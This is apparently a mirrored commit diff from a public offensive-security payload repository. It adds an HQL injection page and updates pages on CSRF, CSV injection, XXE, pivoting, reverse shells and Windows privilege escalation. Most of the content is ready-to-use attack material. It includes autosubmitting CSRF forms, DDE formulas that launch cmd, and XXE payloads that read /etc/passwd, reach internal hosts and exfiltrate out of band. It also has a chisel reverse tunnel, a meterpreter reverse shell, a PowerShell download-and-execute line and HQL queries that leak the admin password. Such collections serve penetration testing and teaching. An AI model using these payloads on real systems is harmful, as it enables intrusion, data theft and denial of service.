mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-05-10 00:16:04 +02:00
HQL Injection + references update
This commit is contained in:
Swissky
parent
6921cde15c
commit
9745e67465
|
|
@ -192,3 +192,5 @@ For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws
|
|||
* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
|
||||
* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
|
||||
* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
|
||||
* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
|
||||
* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)
|
||||
|
|
@ -7,6 +7,17 @@
|
|||
|
||||
* [Methodology](#methodology)
|
||||
* [Payloads](#payloads)
|
||||
* [HTML GET - Requiring User Interaction](#)
|
||||
* [HTML GET - No User Interaction)](#)
|
||||
* [HTML POST - Requiring User Interaction](#)
|
||||
* [HTML POST - AutoSubmit - No User Interaction](#)
|
||||
* [JSON GET - Simple Request](#)
|
||||
* [JSON POST - Simple Request](#)
|
||||
* [JSON POST - Complex Request](#)
|
||||
|
||||
## Tools
|
||||
|
||||
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
|
||||
|
||||
## Methodology
|
||||
|
||||
|
|
@ -16,19 +27,19 @@
|
|||
|
||||
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
|
||||
|
||||
### HTML GET – Requiring User Interaction for Proof-of-Concept
|
||||
### HTML GET - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
|
||||
```
|
||||
|
||||
### HTML GET (No User Interaction)
|
||||
### HTML GET - No User Interaction
|
||||
|
||||
```html
|
||||
<img src="http://www.example.com/api/setusername?username=CSRFd">
|
||||
```
|
||||
|
||||
### HTML POST – Requiring User Interaction for Proof-of-Concept
|
||||
### HTML POST - Requiring User Interaction
|
||||
|
||||
```html
|
||||
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||
|
|
@ -37,7 +48,7 @@ When you are logged in to a certain site, you typically have a session. The iden
|
|||
</form>
|
||||
```
|
||||
|
||||
### HTML POST (AutoSubmit – No User Interaction)
|
||||
### HTML POST - AutoSubmit - No User Interaction
|
||||
|
||||
```html
|
||||
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
|
||||
|
|
@ -51,7 +62,7 @@ When you are logged in to a certain site, you typically have a session. The iden
|
|||
```
|
||||
|
||||
|
||||
### JSON GET – Simple Request
|
||||
### JSON GET - Simple Request
|
||||
|
||||
```html
|
||||
<script>
|
||||
|
|
@ -61,7 +72,7 @@ xhr.send();
|
|||
</script>
|
||||
```
|
||||
|
||||
### JSON POST – Simple Request
|
||||
### JSON POST - Simple Request
|
||||
|
||||
```html
|
||||
<script>
|
||||
|
|
@ -76,7 +87,7 @@ xhr.send('{"role":admin}');
|
|||
</script>
|
||||
```
|
||||
|
||||
### JSON POST – Complex Request
|
||||
### JSON POST - Complex Request
|
||||
|
||||
```html
|
||||
<script>
|
||||
|
|
@ -102,4 +113,5 @@ xhr.send('{"role":admin}');
|
|||
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
|
||||
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
|
||||
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
|
||||
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
|
||||
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
|
||||
|
|
@ -10,6 +10,7 @@ Basic exploit with Dynamic Data Exchange
|
|||
# pop a calc
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+1)*cmd|' /C calc'!A0
|
||||
=2+5+cmd|' /C calc'!A0
|
||||
|
||||
# pop a notepad
|
||||
=cmd|' /C notepad'!'A1'
|
||||
|
|
@ -42,4 +43,6 @@ Any formula can be started with
|
|||
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection)
|
||||
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/)
|
||||
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/)
|
||||
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/)
|
||||
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf)
|
||||
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html)
|
||||
|
|
@ -32,6 +32,7 @@
|
|||
## Tools
|
||||
|
||||
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus)
|
||||
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite)
|
||||
|
||||
## Basic LFI
|
||||
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -11,6 +11,7 @@
|
|||
* [Web SOCKS - reGeorg](#web-socks---regeorg)
|
||||
* [Metasploit](#metasploit)
|
||||
* [sshuttle](#sshuttle)
|
||||
* [chisel](#chisel)
|
||||
* [Rpivot](#rpivot)
|
||||
* [plink](#plink)
|
||||
* [ngrok](#ngrok)
|
||||
|
|
@ -142,6 +143,17 @@ sshuttle -vvr user@10.10.10.10 10.1.1.0/24
|
|||
sshuttle -vvr username@pivot_host 10.2.2.0/24
|
||||
```
|
||||
|
||||
## chisel
|
||||
|
||||
|
||||
```powershell
|
||||
go get -v github.com/jpillora/chisel
|
||||
|
||||
# forward port 389 and 88 to hacker computer
|
||||
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
|
||||
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
|
||||
```
|
||||
|
||||
## Rpivot
|
||||
|
||||
Server (Attacker box)
|
||||
|
|
|
|||
|
|
@ -280,7 +280,13 @@ $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw
|
|||
|
||||
## Spawn TTY Shell
|
||||
|
||||
Access shortcuts, su, nano and autocomplete in a partially tty shell
|
||||
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
|
||||
|
||||
```powershell
|
||||
rlwrap nc localhost 80
|
||||
```
|
||||
|
||||
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
|
||||
|
||||
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
|
||||
|
||||
|
|
@ -321,6 +327,7 @@ lua: os.execute('/bin/sh')
|
|||
```
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
|
||||
|
|
|
|||
|
|
@ -36,8 +36,13 @@
|
|||
```
|
||||
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
|
||||
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
|
||||
- [WindowsEnumv - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
|
||||
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
|
||||
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
|
||||
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
|
||||
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
|
||||
```powershell
|
||||
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
|
||||
```
|
||||
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
|
||||
```powershell
|
||||
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
|
||||
|
|
|
|||
|
|
@ -0,0 +1,51 @@
|
|||
# Hibernate Query Language Injection
|
||||
|
||||
> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
|
||||
|
||||
## HQL Comments
|
||||
|
||||
```sql
|
||||
HQL does not support comments
|
||||
```
|
||||
|
||||
## HQL List Columns
|
||||
|
||||
```sql
|
||||
from BlogPosts
|
||||
where title like '%'
|
||||
and DOESNT_EXIST=1 and ''='%' --
|
||||
and published = true
|
||||
```
|
||||
|
||||
Using an unexisting column will an exception leaking several columns names.
|
||||
|
||||
```sql
|
||||
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
|
||||
select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
|
||||
```
|
||||
|
||||
## HQL Error Based
|
||||
|
||||
```sql
|
||||
from BlogPosts
|
||||
where title like '%11'
|
||||
and (select password from User where username='admin')=1
|
||||
or ''='%'
|
||||
and published = true
|
||||
```
|
||||
|
||||
Error based on value casting.
|
||||
|
||||
```sql
|
||||
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
|
||||
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
|
||||
```
|
||||
|
||||
:warning: **HQL does not support UNION queries**
|
||||
|
||||
## References
|
||||
|
||||
* [HQL for pentesters - February 12, 2014 - Philippe Arteau](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
|
||||
* [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
|
||||
* [HQL : Hyperinsane Query Language - 04/06/2015 - Renaud Dubourguais](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
|
||||
* [ORM2Pwn: Exploiting injections in Hibernate ORM - Nov 26, 2015 - Mikhail Egorov](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
|
||||
|
|
@ -86,3 +86,4 @@ Touch command
|
|||
* [BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA](https://secgeek.net/bookfresh-vulnerability/)
|
||||
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
|
||||
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
|
||||
|
|
@ -11,12 +11,20 @@ Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`
|
|||
## Summary
|
||||
|
||||
- [Tools](#tools)
|
||||
- [Exploit](#exploit)
|
||||
- [Basic XXE](#basic-xxe)
|
||||
- [Detect the vulnerability](#detect-the-vulnerability)
|
||||
- [Read file content](#read-file-content)
|
||||
- [PHP Wrapper inside XXE](#php-wrapper-inside-xxe)
|
||||
- [XXE to SSRF](#xxe-to-ssrf)
|
||||
- [Deny of service](#deny-of-service)
|
||||
- [Blind XXE - Out of Band](#blind-xxe---out-of-Band)
|
||||
- [Blind XXE](#blind-xxe)
|
||||
- [XXE OOB Attack (Yunusov, 2013)](#xxe-oob-attack-yusonov---2013)
|
||||
- [XXE OOB with DTD and PHP filter](#xxe-oob-with-dtd-and-php-filter)
|
||||
- [XXE OOB with Apache Karaf](#xxe-oob-with-apache-karaf)
|
||||
- [XXE in exotic files](#xxe-in-exotic-files)
|
||||
- [XXE inside SVG](#xxe-inside-svg)
|
||||
- [XXE inside SOAP](#xxe-inside-soap)
|
||||
- [XXE inside DOCX file](#xxe-inside-docx-file)
|
||||
|
||||
## Tools
|
||||
|
||||
|
|
@ -25,7 +33,7 @@ Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`
|
|||
sudo ./xxeftp -uno 443 ./xxeftp -w -wps 5555
|
||||
```
|
||||
|
||||
## Exploit
|
||||
## Detect the vulnerability
|
||||
|
||||
Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.
|
||||
|
||||
|
|
@ -40,7 +48,7 @@ Basic entity test, when the XML parser parses the external entities the result s
|
|||
|
||||
It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server.
|
||||
|
||||
## Basic XXE
|
||||
## Read file content
|
||||
|
||||
Classic XXE, we try to display the content of the file `/etc/passwd`
|
||||
|
||||
|
|
@ -71,6 +79,16 @@ Classic XXE, we try to display the content of the file `/etc/passwd`
|
|||
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
:warning: `SYSTEM` and `PUBLIC` are almost synonym.
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
|
||||
Classic XXE Base64 encoded
|
||||
|
||||
```xml
|
||||
|
|
@ -101,9 +119,23 @@ Classic XXE Base64 encoded
|
|||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
## XXE to SSRF
|
||||
|
||||
XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network.
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT foo ANY >
|
||||
<!ENTITY % xxe SYSTEM "http://secret.dev.company.com/secret_pass.txt" >
|
||||
]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
|
||||
|
||||
## Deny of service
|
||||
|
||||
**Warning** : These attacks might kill the service or the server, do not use them on the production.
|
||||
:warning: : These attacks might kill the service or the server, do not use them on the production.
|
||||
|
||||
Billion Laugh Attack
|
||||
|
||||
|
|
@ -192,9 +224,9 @@ File stored on http://127.0.0.1/dtd.xml
|
|||
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
|
||||
```
|
||||
|
||||
### XXE OOB with Apache Karaf "hot deploy" (CVE-2018-11788)
|
||||
### XXE OOB with Apache Karaf
|
||||
|
||||
Affected versions:
|
||||
CVE-2018-11788 affecting versions:
|
||||
|
||||
- Apache Karaf <= 4.2.1
|
||||
- Apache Karaf <= 4.1.6
|
||||
|
|
@ -216,7 +248,8 @@ Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788)
|
|||
## XXE in exotic files
|
||||
|
||||
### XXE inside SVG
|
||||
```
|
||||
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
|
|
@ -273,3 +306,4 @@ GIF (experimental)
|
|||
* [XXE in Uber to read local files](https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html)
|
||||
* [XXE by SVG in community.lithium.com](http://esoln.net/Research/2017/03/30/xxe-in-lithium-community-platform/)
|
||||
* [XXE inside SVG](https://quanyang.github.io/x-ctf-finals-2016-john-slick-web-25/)
|
||||
* [Pentest XXE - @phonexicum](https://phonexicum.github.io/infosec/xxe.html)
|
||||
Loading…
Reference in New Issue